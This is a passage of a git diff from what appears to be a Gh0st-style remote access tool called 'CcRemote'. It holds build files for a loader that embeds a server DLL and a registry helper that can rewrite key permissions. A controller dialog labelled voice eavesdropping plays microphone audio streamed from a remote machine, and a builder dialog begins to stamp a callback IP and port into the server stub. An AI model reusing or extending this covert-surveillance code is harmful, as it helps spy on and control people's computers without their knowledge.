<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Loder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="RegEditEx.h" />
<ClInclude Include="resource.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Loder.rc" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\bin\server\CcMainDll.dll" />
</ItemGroup>
<ItemGroup>
<Image Include="icon1.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,43 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Loder.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="resource.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="RegEditEx.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Loder.rc">
<Filter>资源文件</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<None Include="..\..\bin\server\CcMainDll.dll" />
</ItemGroup>
<ItemGroup>
<Image Include="icon1.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

243
CcMainDll/Loder/RegEditEx.h Normal file
View File

@@ -0,0 +1,243 @@
#include <windows.h>
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i," ",1))
break;
i++;
}
return (szData+i);
}
//<2F><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>Ȩ<EFBFBD><C8A8>(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
{
HKEY hKey;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
PSID pUserSid = NULL;
SECURITY_DESCRIPTOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;
int iResult = 0;
__try
{
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
__leave;
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
__leave;
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
__leave;
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
if(pDacl == NULL)
__leave;
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
__leave;
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
__leave;
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
__leave;
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
__leave;
iResult =1;
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
if(pDacl !=NULL)
HeapFree(GetProcessHeap(), 0, pDacl);
if(pSystemSid !=NULL)
FreeSid(pSystemSid);
if(pUserSid !=NULL)
FreeSid(pUserSid);
}
return iResult;
}
//<2F><>ȡע<C8A1><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D><><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD> 1-<2D><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD> 2-<2D><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 3-<2D>жϸü<CFB8><C3BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
DWORD szSize,KnSize,dwIndex=0;
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
strcpy(szData,DelSpace(ValueSz));
iResult =1;
}
break;
case REG_MULTI_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
{
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
strncat(ValueTemp," ",sizeof(ValueTemp));
}
strcpy(szData,ValueTemp);
iResult =1;
}
break;
case REG_DWORD:
szSize = sizeof(DWORD);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
{
wsprintf(szData,"%d",ValueDWORD);
iResult =1;
}
break;
case REG_BINARY:
szSize = lbSize;
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
iResult =1;
break;
}
break;
case 1:
while(1)
{
memset(ValueSz,0,sizeof(ValueSz));
szSize = sizeof(ValueSz);
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
break;
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
strcat(szData,ValueTemp);
iResult =1;
}
break;
case 2:
while(1)
{
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
KnSize = sizeof(KeyName);
szSize = sizeof(ValueSz);
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
break;
switch(Type)
{
case REG_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
break;
case REG_EXPAND_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
break;
case REG_DWORD:
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
break;
case REG_MULTI_SZ:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
break;
case REG_BINARY:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
break;
}
lstrcat(szData,ValueTemp);
iResult =1;
}
break;
case 3:
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
//дע<D0B4><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(Mode:0-<2D>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1-<2D><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD><EFBFBD><EFBFBD> 2-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD> 3-ɾ<><C9BE>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
{
HKEY hKey;
DWORD dwDisposition;
int iResult =0;
__try
{
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
switch(Mode)
{
case 0:
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
__leave;
case 1:
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
iResult =1;
break;
case REG_DWORD:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
iResult =1;
break;
case REG_BINARY:
break;
}
break;
case 2:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
case 3:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}

View File

@@ -0,0 +1,2 @@
f:\myapp\ccremote\ccmaindll\loder\release\loder.res
f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe

View File

@@ -0,0 +1,33 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
Loder.cpp
_WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h)
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
正在生成代码
All 66 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

BIN
CcMainDll/Loder/icon1.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 359 KiB

View File

@@ -0,0 +1,17 @@
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
// <20><> Loder.rc ʹ<><CAB9>
//
#define IDR_DLL1 101
#define IDI_ICON1 102
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif

View File

@@ -1,14 +1,14 @@
g:\ccremote\ccremote\ccmaindll\testloaddll\release\vc141.pdb
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.exe
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.pdb
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.ipdb
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.iobj
g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe\testloaddll.exe
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\vc141.pdb
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
f:\myapp\ccremote\bin\server\testloaddll.exe
f:\myapp\ccremote\bin\server\testloaddll.pdb
f:\myapp\ccremote\bin\server\testloaddll.ipdb
f:\myapp\ccremote\bin\server\testloaddll.iobj
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog

View File

@@ -1,6 +1,6 @@
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
正在生成代码
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe\TestLoadDll.exe
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

Binary file not shown.

View File

@@ -0,0 +1,123 @@
// CAudioDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CAudioDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_AUDIO, pParent)
{
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_AUDIO)); //处理图标
m_iocpServer = pIOCPServer; //为类的成员变量赋值
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr)); //得到服务端ip
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
}
CAudioDlg::~CAudioDlg()
{
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Check(pDX, IDC_SEND_LOCALAUDIO, m_bIsSendLocalAudio);
}
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE()
END_MESSAGE_MAP()
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
str.Format("\\\\%s - 语音监听", m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lparam)
{
CAudioDlg *pThis = (CAudioDlg *)lparam;
while (pThis->m_bIsWorking)
{
if (!pThis->m_bIsSendLocalAudio)
{
Sleep(1000);
continue;
}
DWORD dwBytes = 0;
LPBYTE lpBuffer = pThis->m_Audio.getRecordBuffer(&dwBytes);
if (lpBuffer != NULL && dwBytes > 0)
pThis->m_iocpServer->Send(pThis->m_pContext, lpBuffer, dwBytes);
}
return 0;
}
void CAudioDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
CDialog::OnClose();
}
void CAudioDlg::OnReceiveComplete(void)
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS, str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
//这里也非常简洁就是将服务端发送来的数据播放出来我们看一下这个类还是CAudio哈哈
//原来播放和录制是同一个类,我们转到这个函数
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}

View File

@@ -0,0 +1,42 @@
#pragma once
// CAudioDlg 对话框
#include "include/IOCPServer.h"
#include "..\..\common\Audio.h"
class CAudioDlg : public CDialog
{
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CAudioDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_AUDIO };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
bool m_bIsWorking;
CAudio m_Audio;
private:
UINT m_nTotalRecvBytes;
HICON m_hIcon;
HANDLE m_hWorkThread;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
public:
virtual BOOL OnInitDialog();
static DWORD WorkThread(LPVOID lparam);
BOOL m_bIsSendLocalAudio;
afx_msg void OnClose();
void OnReceiveComplete(void);
};

View File

@@ -0,0 +1,167 @@
// CBuildDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CBuildDlg.h"
#include "afxdialogex.h"
#include <io.h>
struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28256,"",0,"" };
// CBuildDlg 对话框
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
CBuildDlg::CBuildDlg(CWnd* pParent /*=nullptr*/)
: CDialog(IDD_DIALOG_BUILD, pParent)
, m_strIP(_T(""))
, m_strPort(_T(""))
{
}
CBuildDlg::~CBuildDlg()
{
}
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
}
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
END_MESSAGE_MAP()
// CBuildDlg 消息处理程序
bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
{
DWORD dwWritten;
HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
{
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
}
else
{
return false;
}
CloseHandle(hFile);
return true;
}
void CBuildDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
CFile file;
char strTemp[MAX_PATH];
WCHAR strTempW[MAX_PATH];
ZeroMemory(strTemp, MAX_PATH);
CString strCurrentPath;
